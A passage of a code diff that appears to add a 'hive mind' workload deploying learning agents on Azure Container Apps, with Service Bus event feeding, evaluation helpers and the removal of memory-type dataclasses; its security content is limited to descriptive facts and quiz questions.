bool: - """Check if memory falls within time range.""" - if self.timestamp is None: - return False - return start <= self.timestamp <= end - - -@dataclass -class SemanticMemory: - """Semantic memory: Important learnings. - - Captures patterns, facts, and knowledge that transcend specific events. - Requires concept definition and confidence score for quality tracking. - """ - - concept: str = "" - description: str = "" - examples: list[str] | None = None - confidence: float | None = None - memory_type: MemoryType = field(default=MemoryType.SEMANTIC, init=False) - - def __post_init__(self): - """Validate required fields and bounds.""" - if not self.concept: - raise ValueError("Semantic memory requires concept definition") - if self.confidence is None: - raise ValueError("Semantic memory requires confidence score fer quality tracking") - if not (0.0 <= self.confidence <= 1.0): - raise ValueError("Confidence must be between 0.0 and 1.0") - - -@dataclass -class ProspectiveMemory: - """Prospective memory: Future intentions. - - Captures TODOs, reminders, and planned actions. - Requires task definition and trigger condition. - """ - - task: str = "" - trigger: str = "" - deadline: datetime | None = None - memory_type: MemoryType = field(default=MemoryType.PROSPECTIVE, init=False) - - def __post_init__(self): - """Validate required fields.""" - if not self.task: - raise ValueError("Prospective memory requires task definition") - if not self.trigger: - raise ValueError("Prospective memory requires trigger condition") - - def is_overdue(self) -> bool: - """Check if memory is past deadline.""" - if self.deadline is None: - return False - return datetime.now() > self.deadline - - -@dataclass -class ProceduralMemory: - """Procedural memory: How to do something. - - Captures workflows, processes, and step-by-step procedures. - Tracks usage count and strengthens with repeated successful use. - """ - - procedure_name: str = "" - steps: list[str] | None = None - success_criteria: str = "" - usage_count: int = 0 - strength: float = 0.5 # Starts at medium strength - memory_type: MemoryType = field(default=MemoryType.PROCEDURAL, init=False) - - def __post_init__(self): - """Validate required fields.""" - if not self.procedure_name: - raise ValueError("Procedural memory requires procedure_name") - if self.steps is None: - raise ValueError("Procedural memory requires steps") - if len(self.steps) == 0: - raise ValueError("Procedural memory must have at least one step") - - def record_usage(self) -> None: - """Record successful usage and strengthen memory.""" - self.usage_count += 1 - # Strengthen memory with usage (asymptotic to 1.0) - self.strength = min(1.0, self.strength + (1.0 - self.strength) * 0.1) - - -@dataclass -class WorkingMemory: - """Working memory: Active task details. - - Captures current task context, variables, and dependencies. - Cleared when task completes (short-lived by design). - """ - - task_id: str = "" - context: dict[str, Any] | None = None - dependencies: list[str] | None = None - is_cleared: bool = False - memory_type: MemoryType = field(default=MemoryType.WORKING, init=False) - - def __post_init__(self): - """Validate required fields.""" - if not self.task_id: - raise ValueError("Working memory requires task_id") - if self.context is None: - raise ValueError("Working memory requires context variables") - # Initialize dependencies if not provided - if self.dependencies is None: - self.dependencies = [] - - def mark_task_complete(self) -> None: - """Clear working memory when task completes.""" - self.is_cleared = True - self.context = {} - - -@dataclass -class MemorySchema: - """Generic schema validation fer memory types. - - Validates required fields and type checking fer any memory type. - """ - - memory_type: MemoryType - required_fields: list[str] - field_types: dict[str, type] | None = None - - def validate(self, data: dict[str, Any]) -> bool: - """Validate data against schema.""" - # Check required fields - for field_name in self.required_fields: - if field_name not in data: - return False - - # Check field types if specified - if self.field_types: - for field_name, expected_type in self.field_types.items(): - if field_name in data: - if not isinstance(data[field_name], expected_type): - return False - - return True - - -def classify_memory_type(content: str, context: dict[str, Any]) -> MemoryType: - """Automatically classify memory type based on content and context. - - Uses context hints and content analysis to determine appropriate memory type. - Defaults to EPISODIC when unclear (safest choice - preserves temporal info). - - Args: - content: Memory content text - context: Context dict with type hints and metadata - - Returns: - Appropriate MemoryType fer the content - """ - # Check explicit type hint - context_type = context.get("type", "").lower() - - if context_type == "conversation": - return MemoryType.EPISODIC - if context_type == "pattern" or context_type == "learning": - return MemoryType.SEMANTIC - if context_type == "todo" or context_type == "reminder": - return MemoryType.PROSPECTIVE - if context_type == "procedure" or context_type == "workflow": - return MemoryType.PROCEDURAL - if context_type == "task_state": - return MemoryType.WORKING - - # Default to episodic (safest - preserves temporal info) - return MemoryType.EPISODIC - - -__all__ = [ - "MemoryType", - "EpisodicMemory", - "SemanticMemory", - "ProspectiveMemory", - "ProceduralMemory", - "WorkingMemory", - "MemorySchema", - "classify_memory_type", -] diff --git a/src/amplihack/workloads/__init__.py b/src/amplihack/workloads/__init__.py new file mode 100644 index 000000000..7a43ce370 --- /dev/null +++ b/src/amplihack/workloads/__init__.py @@ -0,0 +1,9 @@ +"""amplihack.workloads — Haymaker workload implementations for amplihack. + +Available workloads: + hive-mind -- amplihack.workloads.hive.HiveMindWorkload +""" + +from .hive import HiveMindWorkload + +__all__ = ["HiveMindWorkload"] diff --git a/src/amplihack/workloads/hive/__init__.py b/src/amplihack/workloads/hive/__init__.py new file mode 100644 index 000000000..1949cc499 --- /dev/null +++ b/src/amplihack/workloads/hive/__init__.py @@ -0,0 +1,39 @@ +"""amplihack.workloads.hive — HiveMindWorkload and typed hive event constants. + +Public API: + HiveMindWorkload -- haymaker WorkloadBase implementation for the amplihack hive mind. + HIVE_LEARN_CONTENT, HIVE_FEED_COMPLETE, HIVE_AGENT_READY, HIVE_QUERY, + HIVE_QUERY_RESPONSE -- typed topic constants (extend agent-haymaker EventData). +""" + +from .events import ( + ALL_HIVE_TOPICS, + HIVE_AGENT_READY, + HIVE_FEED_COMPLETE, + HIVE_LEARN_CONTENT, + HIVE_QUERY, + HIVE_QUERY_RESPONSE, + make_agent_ready_event, + make_feed_complete_event, + make_learn_content_event, + make_query_event, + make_query_response_event, +) +from .workload import HiveMindWorkload + +__all__ = [ + "HiveMindWorkload", + # Event topics + "HIVE_LEARN_CONTENT", + "HIVE_FEED_COMPLETE", + "HIVE_AGENT_READY", + "HIVE_QUERY", + "HIVE_QUERY_RESPONSE", + "ALL_HIVE_TOPICS", + # Event factories + "make_learn_content_event", + "make_feed_complete_event", + "make_agent_ready_event", + "make_query_event", + "make_query_response_event", +] diff --git a/src/amplihack/workloads/hive/_eval.py b/src/amplihack/workloads/hive/_eval.py new file mode 100644 index 000000000..854fe53d3 --- /dev/null +++ b/src/amplihack/workloads/hive/_eval.py @@ -0,0 +1,286 @@ +"""Internal eval helper: event-driven agent evaluation via HIVE_AGENT_READY signalling. + +Replaces the sleep-timer polling in query_hive.py with proper event subscription. +Called by HiveMindWorkload.eval() and the ``haymaker hive eval`` CLI extension. +NOT imported directly by external callers. +""" + +from __future__ import annotations + +import asyncio +import logging +import uuid +from typing import Any + +logger = logging.getLogger(__name__) + + +async def run_eval( + deployment_id: str, + repeats: int, + wait_for_ready: int, + timeout_seconds: int, + sb_conn_str: str, + topic_name: str, +) -> list[dict[str, Any]]: + """Wait for agents ready, then run eval rounds via HIVE_QUERY events. + + Args: + deployment_id: Deployment to evaluate. + repeats: Number of question rounds to run. + wait_for_ready: How many HIVE_AGENT_READY events to wait for (0 = skip). + timeout_seconds: Max wait time for agents to become ready. + sb_conn_str: Service Bus connection string. + topic_name: Service Bus topic name. + + Returns: + List of {question, query_id, answers: [{agent, answer}]} dicts. + """ + from amplihack.workloads.hive.events import HIVE_AGENT_READY, HIVE_QUERY_RESPONSE + + if wait_for_ready > 0: + logger.info( + "eval: waiting for %d HIVE_AGENT_READY events (timeout=%ds)", + wait_for_ready, + timeout_seconds, + ) + ready_count = await _wait_for_ready_events( + deployment_id=deployment_id, + expected_count=wait_for_ready, + timeout_seconds=timeout_seconds, + sb_conn_str=sb_conn_str, + topic_name=topic_name, + ) + logger.info("eval: %d agents signalled ready", ready_count) + else: + logger.info("eval: skipping AGENT_READY wait (wait_for_ready=0)") + + questions = _build_eval_questions(repeats) + results: list[dict[str, Any]] = [] + + for i, question in enumerate(questions): + query_id = uuid.uuid4().hex[:8] + logger.info("eval: round %d/%d query_id=%s question=%r", i + 1, repeats, query_id, question) + + await _publish_query( + deployment_id=deployment_id, + query_id=query_id, + question=question, + sb_conn_str=sb_conn_str, + topic_name=topic_name, + ) + + answers = await _collect_responses( + deployment_id=deployment_id, + query_id=query_id, + timeout_seconds=30, + sb_conn_str=sb_conn_str, + topic_name=topic_name, + ) + results.append({"question": question, "query_id": query_id, "answers": answers}) + logger.info("eval: round %d collected %d responses", i + 1, len(answers)) + + return results + + +async def _wait_for_ready_events( + deployment_id: str, + expected_count: int, + timeout_seconds: int, + sb_conn_str: str, + topic_name: str, +) -> int: + """Subscribe to the eval topic and count HIVE_AGENT_READY events. + + Returns: + Number of AGENT_READY events received before timeout. + """ + from amplihack.workloads.hive.events import HIVE_AGENT_READY + + ready_agents: set[str] = set() + deadline = asyncio.get_event_loop().time() + timeout_seconds + + if not sb_conn_str: + logger.warning("No Service Bus connection string — skipping AGENT_READY wait") + return 0 + + try: + from azure.servicebus import ServiceBusClient + except ImportError: + logger.warning("azure-servicebus not installed — skipping AGENT_READY wait") + return 0 + + subscription_name = f"eval-ready-{deployment_id[:8]}" + + def _poll_sync() -> list[dict]: + received: list[dict] = [] + try: + import json + + with ServiceBusClient.from_connection_string(sb_conn_str) as client: + with client.get_subscription_receiver( + topic_name=topic_name, + subscription_name=subscription_name, + max_wait_time=5, + ) as receiver: + msgs = receiver.receive_messages(max_message_count=50, max_wait_time=5) + for msg in msgs: + try: + body = json.loads(str(msg)) + if body.get("topic") == HIVE_AGENT_READY: + received.append(body) + receiver.complete_message(msg) + except Exception: + pass + except Exception as exc: + logger.debug("Poll error: %s", exc) + return received + + loop = asyncio.get_event_loop() + while loop.time() < deadline and len(ready_agents) < expected_count: + events = await loop.run_in_executor(None, _poll_sync) + for evt in events: + agent_name = (evt.get("data") or {}).get("agent_name", str(uuid.uuid4())) + ready_agents.add(agent_name) + logger.info("eval: agent ready: %s (%d/%d)", agent_name, len(ready_agents), expected_count) + if len(ready_agents) < expected_count: + await asyncio.sleep(2) + + if len(ready_agents) < expected_count: + logger.warning( + "eval: timeout waiting for agents — got %d/%d AGENT_READY events", + len(ready_agents), + expected_count, + ) + return len(ready_agents) + + +async def _publish_query( + deployment_id: str, + query_id: str, + question: str, + sb_conn_str: str, + topic_name: str, +) -> None: + """Publish a HIVE_QUERY event.""" + from amplihack.workloads.hive.events import make_query_event + + event = make_query_event(deployment_id=deployment_id, query_id=query_id, question=question) + + if not sb_conn_str: + logger.info("LOCAL QUERY event: %s", event.model_dump_json()) + return + + try: + from azure.servicebus import ServiceBusClient, ServiceBusMessage + + def _send() -> None: + with ServiceBusClient.from_connection_string(sb_conn_str) as client: + with client.get_topic_sender(topic_name=topic_name) as sender: + sender.send_messages( + ServiceBusMessage( + body=event.model_dump_json(), + application_properties={ + "topic": event.topic, + "deployment_id": deployment_id, + "query_id": query_id, + }, + ) + ) + + await asyncio.get_event_loop().run_in_executor(None, _send) + except ImportError: + logger.warning("azure-servicebus not available — query not sent") + + +async def _collect_responses( + deployment_id: str, + query_id: str, + timeout_seconds: int, + sb_conn_str: str, + topic_name: str, +) -> list[dict[str, Any]]: + """Collect HIVE_QUERY_RESPONSE events for the given query_id.""" + from amplihack.workloads.hive.events import HIVE_QUERY_RESPONSE + + if not sb_conn_str: + return [] + + try: + from azure.servicebus import ServiceBusClient + except ImportError: + return [] + + answers: list[dict[str, Any]] = [] + subscription_name = f"eval-resp-{deployment_id[:8]}" + deadline = asyncio.get_event_loop().time() + timeout_seconds + + def _poll_sync() -> list[dict]: + import json + + received: list[dict] = [] + try: + with ServiceBusClient.from_connection_string(sb_conn_str) as client: + with client.get_subscription_receiver( + topic_name=topic_name, + subscription_name=subscription_name, + max_wait_time=3, + ) as receiver: + msgs = receiver.receive_messages(max_message_count=100, max_wait_time=3) + for msg in msgs: + try: + body = json.loads(str(msg)) + if ( + body.get("topic") == HIVE_QUERY_RESPONSE + and (body.get("data") or {}).get("query_id") == query_id + ): + received.append(body) + receiver.complete_message(msg) + except Exception: + pass + except Exception as exc: + logger.debug("Response poll error: %s", exc) + return received + + loop = asyncio.get_event_loop() + while loop.time() < deadline: + events = await loop.run_in_executor(None, _poll_sync) + for evt in events: + data = evt.get("data") or {} + answers.append( + { + "agent": data.get("agent_name", "unknown"), + "answer": data.get("answer", ""), + } + ) + if events: + break # got responses — stop polling + await asyncio.sleep(1) + + return answers + + +def _build_eval_questions(repeats: int) -> list[str]: + """Build evaluation questions from amplihack_eval or a fallback pool.""" + try: + from amplihack_eval.data import generate_dialogue + + gt = generate_dialogue(num_turns=300, seed=42) + questions = [ + t.content + for t in gt.turns + if t.block_name in ("questions", "qa") and t.content + ][:repeats] + if questions: + return questions + except Exception: + pass + + fallback = [ + "What is the CVSS score for CVE-2021-44228 and why is it so high?", + "Which threat actor is associated with the SolarWinds attack?", + "What is DNS tunneling and which incident involved it?", + "Describe the indicators of compromise from INC-2024-003.", + "What post-incident actions were taken after INC-2024-001?", + ] + return fallback[:repeats] if repeats <= len(fallback) else (fallback * ((repeats // len(fallback)) + 1))[:repeats] diff --git a/src/amplihack/workloads/hive/_feed.py b/src/amplihack/workloads/hive/_feed.py new file mode 100644 index 000000000..9c8a65139 --- /dev/null +++ b/src/amplihack/workloads/hive/_feed.py @@ -0,0 +1,149 @@ +"""Internal feed helper: publishes HIVE_LEARN_CONTENT events via EventData/ServiceBus. + +Called by HiveMindWorkload.feed() and the ``haymaker hive feed`` CLI extension. +NOT imported directly by external callers — use the workload method or CLI instead. +""" + +from __future__ import annotations + +import asyncio +import logging +import os +import uuid + +logger = logging.getLogger(__name__) + + +async def run_feed( + deployment_id: str, + turns: int, + topic_name: str, + sb_conn_str: str, + source: str = "haymaker-hive-feed", +) -> None: + """Publish *turns* HIVE_LEARN_CONTENT events then HIVE_FEED_COMPLETE. + + Uses typed agent-haymaker EventData and ServiceBusEventBus (dual-write). + Falls back to local event bus if Service Bus connection string is missing. + + Args: + deployment_id: Deployment receiving the events. + turns: Number of LEARN_CONTENT turns to send. + topic_name: Service Bus topic name. + sb_conn_str: Service Bus connection string (empty → local fallback). + source: Source label attached to each event. + """ + from amplihack.workloads.hive.events import ( + make_feed_complete_event, + make_learn_content_event, + ) + + content_pool = _build_content_pool() + + logger.info( + "hive feed: deployment=%s turns=%d topic=%s transport=%s", + deployment_id, + turns, + topic_name, + "azure_service_bus" if sb_conn_str else "local", + ) + + events = [ + make_learn_content_event( + deployment_id=deployment_id, + content=content_pool[i % len(content_pool)], + turn=i, + source=source, + ) + for i in range(turns) + ] + feed_complete_event = make_feed_complete_event( + deployment_id=deployment_id, total_turns=turns + ) + + if sb_conn_str: + await _publish_via_service_bus(events + [feed_complete_event], sb_conn_str, topic_name) + else: + logger.warning( + "No Service Bus connection string — publishing to local event bus (dev/test only)" + ) + _publish_local(events + [feed_complete_event]) + + logger.info("hive feed: finished — %d LEARN_CONTENT + 1 FEED_COMPLETE sent", turns) + + +async def _publish_via_service_bus(events: list, connection_string: str, topic_name: str) -> None: + """Publish EventData objects to Azure Service Bus.""" + try: + from azure.servicebus import ServiceBusClient, ServiceBusMessage + except ImportError as exc: + raise ImportError( + "azure-servicebus is required. Install with: pip install azure-servicebus" + ) from exc + + loop = asyncio.get_event_loop() + + def _send_sync() -> None: + with ServiceBusClient.from_connection_string(connection_string) as client: + with client.get_topic_sender(topic_name=topic_name) as sender: + for event in events: + body = event.model_dump_json() + msg = ServiceBusMessage( + body=body, + application_properties={ + "topic": event.topic, + "deployment_id": event.deployment_id, + }, + ) + sender.send_messages(msg) + logger.debug("Published %s to %s", event.topic, topic_name) + + await loop.run_in_executor(None, _send_sync) + + +def _publish_local(events: list) -> None: + """Publish EventData objects to the local in-process event bus (dev only).""" + try: + from agent_haymaker.events.bus import LocalEventBus + + bus = LocalEventBus() + for event in events: + asyncio.get_event_loop().run_until_complete( + bus.publish(event.topic, event.model_dump()) + ) + logger.info("Published %d events to local bus", len(events)) + except Exception as exc: + logger.warning("Local bus publish failed (%s); events logged only", exc) + for event in events: + logger.info("LOCAL EVENT: %s", event.model_dump_json()) + + +def _build_content_pool() -> list[str]: + """Load security content from amplihack_eval or fall back to hardcoded pool.""" + try: + from amplihack_eval.data import generate_dialogue + + gt = generate_dialogue(num_turns=300, seed=42) + items = [ + t.content + for t in gt.turns + if t.block_name in ("security_logs", "incidents") and t.content + ] + if items: + return items + except Exception: + pass + + # Minimal fallback pool (same items used by feed_content.py) + return [ + "The Log4Shell vulnerability (CVE-2021-44228) had a CVSS score of 10.0.", + "The SolarWinds attack compromised 18,000 organizations in 2020.", + "Supply chain attacks increased 742% between 2019 and 2022.", + "Hardware security keys provide the strongest form of 2FA.", + "Memory-safe languages prevent 70% of security vulnerabilities.", + "Brute force attack detected: 847 failed SSH login attempts over 12 minutes.", + "C2 beacon traffic detected using HTTPS tunneling on port 443.", + "Insider threat: bulk download of 15,234 sensitive documents triggered DLP policy.", + "Ransomware attack on production database servers — 3 servers encrypted.", + "APT29 supply chain attack via malicious npm package; DNS tunneling detected.", + ] diff --git a/src/amplihack/workloads/hive/events.py b/src/amplihack/workloads/hive/events.py new file mode 100644 index 000000000..819036453 --- /dev/null +++ b/src/amplihack/workloads/hive/events.py @@ -0,0 +1,127 @@ +"""Typed hive-mind event topic constants for agent-haymaker integration. + +Extends the ``agent_haymaker.events`` topic namespace with hive-specific topics. +All hive events are wrapped in ``agent_haymaker.events.EventData`` so they flow +through ``ServiceBusEventBus`` without any custom serialisation. + +Topic naming convention: ``hive.`` + +Usage:: + + from amplihack.workloads.hive.events import ( + HIVE_LEARN_CONTENT, + HIVE_FEED_COMPLETE, + HIVE_AGENT_READY, + HIVE_QUERY, + HIVE_QUERY_RESPONSE, + make_learn_content_event, + make_feed_complete_event, + make_agent_ready_event, + make_query_event, + make_query_response_event, + ) +""" + +from __future__ import annotations + +from typing import Any + +# --------------------------------------------------------------------------- +# Topic constants (dotted namespace following AzureHayMaker convention) +# --------------------------------------------------------------------------- + +HIVE_LEARN_CONTENT = "hive.learn_content" +"""Published by the feed script; agents ingest and learn the payload.""" + +HIVE_FEED_COMPLETE = "hive.feed_complete" +"""Sentinel published once all LEARN_CONTENT turns have been sent.""" + +HIVE_AGENT_READY = "hive.agent_ready" +"""Published by each agent after it has processed FEED_COMPLETE.""" + +HIVE_QUERY = "hive.query" +"""Published by the eval runner; agents answer and publish HIVE_QUERY_RESPONSE.""" + +HIVE_QUERY_RESPONSE = "hive.query_response" +"""Published by agents in response to a HIVE_QUERY.""" + +ALL_HIVE_TOPICS: tuple[str, ...] = ( + HIVE_LEARN_CONTENT, + HIVE_FEED_COMPLETE, + HIVE_AGENT_READY, + HIVE_QUERY, + HIVE_QUERY_RESPONSE, +) + +# --------------------------------------------------------------------------- +# EventData factory helpers +# --------------------------------------------------------------------------- + + +def _make_event(topic: str, deployment_id: str, data: dict[str, Any]) -> object: + """Construct an ``EventData`` instance (lazy import to avoid hard dep).""" + from agent_haymaker.events.types import EventData + + return EventData(topic=topic, deployment_id=deployment_id, data=data) + + +def make_learn_content_event( + deployment_id: str, + content: str, + turn: int, + source: str = "feed", +) -> object: + """Create a typed HIVE_LEARN_CONTENT EventData.""" + return _make_event( + HIVE_LEARN_CONTENT, + deployment_id, + {"content": content, "turn": turn, "source": source}, + ) + + +def make_feed_complete_event(deployment_id: str, total_turns: int) -> object: + """Create a typed HIVE_FEED_COMPLETE EventData.""" + return _make_event(HIVE_FEED_COMPLETE, deployment_id, {"total_turns": total_turns}) + + +def make_agent_ready_event(deployment_id: str, agent_name: str) -> object: + """Create a typed HIVE_AGENT_READY EventData.""" + return _make_event(HIVE_AGENT_READY, deployment_id, {"agent_name": agent_name}) + + +def make_query_event( + deployment_id: str, + query_id: str, + question: str, +) -> object: + """Create a typed HIVE_QUERY EventData.""" + return _make_event(HIVE_QUERY, deployment_id, {"query_id": query_id, "question": question}) + + +def make_query_response_event( + deployment_id: str, + query_id: str, + agent_name: str, + answer: str, +) -> object: + """Create a typed HIVE_QUERY_RESPONSE EventData.""" + return _make_event( + HIVE_QUERY_RESPONSE, + deployment_id, + {"query_id": query_id, "agent_name": agent_name, "answer": answer}, + ) + + +__all__ = [ + "HIVE_LEARN_CONTENT", + "HIVE_FEED_COMPLETE", + "HIVE_AGENT_READY", + "HIVE_QUERY", + "HIVE_QUERY_RESPONSE", + "ALL_HIVE_TOPICS", + "make_learn_content_event", + "make_feed_complete_event", + "make_agent_ready_event", + "make_query_event", + "make_query_response_event", +] diff --git a/src/amplihack/workloads/hive/workload.py b/src/amplihack/workloads/hive/workload.py new file mode 100644 index 000000000..d6e619ec3 --- /dev/null +++ b/src/amplihack/workloads/hive/workload.py @@ -0,0 +1,619 @@ +"""HiveMindWorkload — amplihack hive mind as a haymaker WorkloadBase. + +Deploys a distributed hive of LearningAgents on Azure Container Apps. +Topology: N container apps (default 20), each running M agents (default 5), +for a total of N*M agents sharing a Service Bus topic. + +All deployment lifecycle is managed through the agent-haymaker platform: + - deploy() : Builds/pushes Docker image, runs Bicep infra (SB + ACR), + then calls deploy_container_app() for each container. + - get_status() : Queries each container app provisioning state. + - get_logs() : Streams az containerapp logs for the first container. + - stop() : Stops all container apps (sets min-replicas to 0). + - cleanup() : Deletes all container apps tagged to this deployment. + +Events use typed agent-haymaker EventData (HIVE_LEARN_CONTENT, HIVE_FEED_COMPLETE, +HIVE_AGENT_READY, HIVE_QUERY, HIVE_QUERY_RESPONSE) via ServiceBusEventBus. + +The running 100-agent deployment is unaffected: this class creates NEW container +apps under a new deployment_id. Old apps remain until explicitly cleaned up. + +Configuration keys (via DeploymentConfig.workload_config): + num_containers : int = 20 Number of Container Apps to deploy. + agents_per_container : int = 5 Agents per container (env-var injected). + image : str Container image (required unless in AzureConfig). + resource_group : str Azure resource group. + subscription_id : str Azure subscription. + location : str = "eastus" Azure region. + acr_name : str Azure Container Registry name (for image push). + service_bus_connection_string : str Service Bus Premium connection string. + topic_name : str = "hive-graph" Service Bus topic for agent events. + agent_prompt : str System prompt injected into each agent container. + cpu : float = 1.0 CPU cores per container. + memory_gb : int = 4 Memory per container (GiB). +""" + +from __future__ import annotations + +import asyncio +import json +import logging +import time +import uuid +from collections.abc import AsyncIterator +from datetime import UTC, datetime +from typing import Any + +logger = logging.getLogger(__name__) + +# --------------------------------------------------------------------------- +# Lazy imports (agent-haymaker is an optional dep at install time) +# --------------------------------------------------------------------------- + +try: + from agent_haymaker.workloads.base import DeploymentNotFoundError, WorkloadBase + from agent_haymaker.workloads.models import ( + CleanupReport, + DeploymentConfig, + DeploymentState, + DeploymentStatus, + ) + + _HAYMAKER_AVAILABLE = True +except ImportError: # pragma: no cover + _HAYMAKER_AVAILABLE = False + WorkloadBase = object # type: ignore[assignment,misc] + +from amplihack.workloads.hive.events import ( + HIVE_AGENT_READY, + HIVE_FEED_COMPLETE, + HIVE_LEARN_CONTENT, + HIVE_QUERY, + HIVE_QUERY_RESPONSE, +) + +# --------------------------------------------------------------------------- +# Constants +# --------------------------------------------------------------------------- + +_DEFAULT_NUM_CONTAINERS = 20 +_DEFAULT_AGENTS_PER_CONTAINER = 5 +_DEFAULT_TOPIC = "hive-graph" +_DEFAULT_LOCATION = "eastus" +_DEFAULT_CPU = 1.0 +_DEFAULT_MEMORY_GB = 4 + +_TAG_PREFIX = "haymaker-hive" + + +# --------------------------------------------------------------------------- +# HiveMindWorkload +# --------------------------------------------------------------------------- + + +class HiveMindWorkload(WorkloadBase): # type: ignore[misc] + """Deploys the amplihack hive mind as a set of Azure Container Apps. + + Each Container App runs M LearningAgents that share a Service Bus topic. + All agents use ``amplihack.agent.LearningAgent`` as their cognitive core. + + Designed as an *additive* deployment: the existing 100-agent job is + unaffected because each deployment uses a unique ``deployment_id`` prefix + for app names and tags. + """ + + name = "hive-mind" + + def __init__(self, platform: Any = None) -> None: + if _HAYMAKER_AVAILABLE: + super().__init__(platform=platform) + self._platform = platform + # deployment_id -> list of deployed app names + self._container_apps: dict[str, list[str]] = {} + + # ========================================================================= + # REQUIRED: WorkloadBase abstract methods + # ========================================================================= + + async def deploy(self, config: "DeploymentConfig") -> str: + """Deploy N container apps, each running M LearningAgents. + + Returns: + deployment_id: Unique identifier for this hive deployment. + """ + wc = config.workload_config + deployment_id = f"hive-{uuid.uuid4().hex[:8]}" + + num_containers: int = int(wc.get("num_containers", _DEFAULT_NUM_CONTAINERS)) + agents_per_container: int = int( + wc.get("agents_per_container", _DEFAULT_AGENTS_PER_CONTAINER) + ) + image: str = wc.get("image", "") + resource_group: str = wc.get("resource_group", "") + subscription_id: str = wc.get("subscription_id", "") + topic_name: str = wc.get("topic_name", _DEFAULT_TOPIC) + sb_conn_str: str = wc.get("service_bus_connection_string", "") + agent_prompt: str = wc.get("agent_prompt", "You are a security analyst in a hive mind.") + cpu: float = float(wc.get("cpu", _DEFAULT_CPU)) + memory_gb: int = int(wc.get("memory_gb", _DEFAULT_MEMORY_GB)) + location: str = wc.get("location", _DEFAULT_LOCATION) + + self.log( + f"Deploying hive-mind: deployment_id={deployment_id} " + f"containers={num_containers} agents_per_container={agents_per_container}" + ) + + # Persist initial state + if _HAYMAKER_AVAILABLE: + state = DeploymentState( + deployment_id=deployment_id, + workload_name=self.name, + status=DeploymentStatus.PENDING, + phase="provisioning", + started_at=datetime.now(tz=UTC), + config=wc, + metadata={ + "num_containers": num_containers, + "agents_per_container": agents_per_container, + "total_agents": num_containers * agents_per_container, + "topic_name": topic_name, + "resource_group": resource_group, + "subscription_id": subscription_id, + "location": location, + "container_apps": [], + }, + ) + await self.save_state(state) + + app_names: list[str] = [] + + # Deploy each container app + for i in range(num_containers): + app_name = f"hive-{deployment_id[:8]}-c{i:02d}" + env_vars: dict[str, str] = { + "AMPLIHACK_AGENT_NAME": f"container-{i:02d}", + "AMPLIHACK_AGENT_PROMPT": agent_prompt, + "AMPLIHACK_MEMORY_TRANSPORT": "azure_service_bus", + "AMPLIHACK_MEMORY_CONNECTION_STRING": sb_conn_str, + "AMPLIHACK_TOPIC_NAME": topic_name, + "AMPLIHACK_AGENTS_PER_CONTAINER": str(agents_per_container), + "AMPLIHACK_CONTAINER_INDEX": str(i), + "AMPLIHACK_DEPLOYMENT_ID": deployment_id, + } + + try: + result = await self._deploy_single_container( + deployment_id=deployment_id, + app_name=app_name, + image=image, + resource_group=resource_group, + subscription_id=subscription_id, + env_vars=env_vars, + cpu=cpu, + memory_gb=memory_gb, + location=location, + ) + app_names.append(result.get("app_name", app_name)) + self.log(f"Deployed container app {i + 1}/{num_containers}: {app_name}") + except Exception as exc: + self.log(f"Failed to deploy container {i}: {exc}", level="ERROR") + # Continue deploying remaining containers (partial deploy is valid) + + self._container_apps[deployment_id] = app_names + + # Update state to RUNNING + if _HAYMAKER_AVAILABLE: + state.status = DeploymentStatus.RUNNING + state.phase = "running" + state.metadata["container_apps"] = app_names + await self.save_state(state) + + try: + await self.emit_event( + "deployment.started", + deployment_id, + total_agents=num_containers * agents_per_container, + container_count=len(app_names), + ) + except Exception: + logger.debug("Failed to emit deployment.started for %s", deployment_id) + + self.log( + f"Hive deployment complete: {len(app_names)}/{num_containers} containers running, " + f"deployment_id={deployment_id}" + ) + return deployment_id + + async def get_status(self, deployment_id: str) -> "DeploymentState": + """Query status of all container apps for a deployment.""" + if not _HAYMAKER_AVAILABLE: + raise RuntimeError("agent-haymaker not installed") + + state = await self.load_state(deployment_id) + if state is None: + raise DeploymentNotFoundError(f"Deployment {deployment_id} not found") + + if state.status in (DeploymentStatus.COMPLETED, DeploymentStatus.FAILED): + return state + + app_names: list[str] = (state.metadata or {}).get("container_apps", []) + if not app_names: + app_names = self._container_apps.get(deployment_id, []) + + statuses = await self._query_app_statuses( + app_names=app_names, + resource_group=(state.metadata or {}).get("resource_group", ""), + subscription_id=(state.metadata or {}).get("subscription_id", ""), + ) + + running = sum(1 for s in statuses.values() if s == "Succeeded") + failed = sum(1 for s in statuses.values() if s in ("Failed", "Canceled")) + + state.metadata["container_statuses"] = statuses + state.metadata["running_containers"] = running + state.metadata["failed_containers"] = failed + + if failed > 0 and running == 0: + state.status = DeploymentStatus.FAILED + state.phase = "failed" + state.error = f"{failed} container apps failed" + elif running == len(app_names) and running > 0: + state.phase = "all_running" + + await self.save_state(state) + return state + + async def get_logs( + self, + deployment_id: str, + follow: bool = False, + lines: int = 100, + ) -> AsyncIterator[str]: + """Stream logs from all container apps for the deployment.""" + state = await self.load_state(deployment_id) + if state is None: + if _HAYMAKER_AVAILABLE: + raise DeploymentNotFoundError(f"Deployment {deployment_id} not found") + return + + app_names: list[str] = (state.metadata or {}).get("container_apps", []) + if not app_names: + app_names = self._container_apps.get(deployment_id, []) + + resource_group = (state.metadata or {}).get("resource_group", "") + subscription_id = (state.metadata or {}).get("subscription_id", "") + + for app_name in app_names: + yield f"=== Logs for {app_name} ===" + async for line in self._stream_app_logs( + app_name=app_name, + resource_group=resource_group, + subscription_id=subscription_id, + lines=lines, + follow=follow, + ): + yield line + + async def stop(self, deployment_id: str) -> bool: + """Stop all container apps by setting replicas to 0.""" + if not _HAYMAKER_AVAILABLE: + return False + + state = await self.load_state(deployment_id) + if state is None: + raise DeploymentNotFoundError(f"Deployment {deployment_id} not found") + + app_names: list[str] = (state.metadata or {}).get("container_apps", []) + if not app_names: + app_names = self._container_apps.get(deployment_id, []) + + resource_group = (state.metadata or {}).get("resource_group", "") + subscription_id = (state.metadata or {}).get("subscription_id", "") + + stopped = 0 + for app_name in app_names: + if await self._scale_app( + app_name, resource_group, subscription_id, min_replicas=0 + ): + stopped += 1 + + state.status = DeploymentStatus.STOPPED + state.phase = "stopped" + state.stopped_at = datetime.now(tz=UTC) + await self.save_state(state) + + try: + await self.emit_event("deployment.stopped", deployment_id) + except Exception: + logger.debug("Failed to emit deployment.stopped for %s", deployment_id) + + self.log(f"Stopped {stopped}/{len(app_names)} container apps for {deployment_id}") + return stopped > 0 or len(app_names) == 0 + + async def cleanup(self, deployment_id: str) -> "CleanupReport": + """Delete all container apps for this deployment.""" + if not _HAYMAKER_AVAILABLE: + return None # type: ignore[return-value] + + start_time = time.monotonic() + state = await self.load_state(deployment_id) + if state is None: + raise 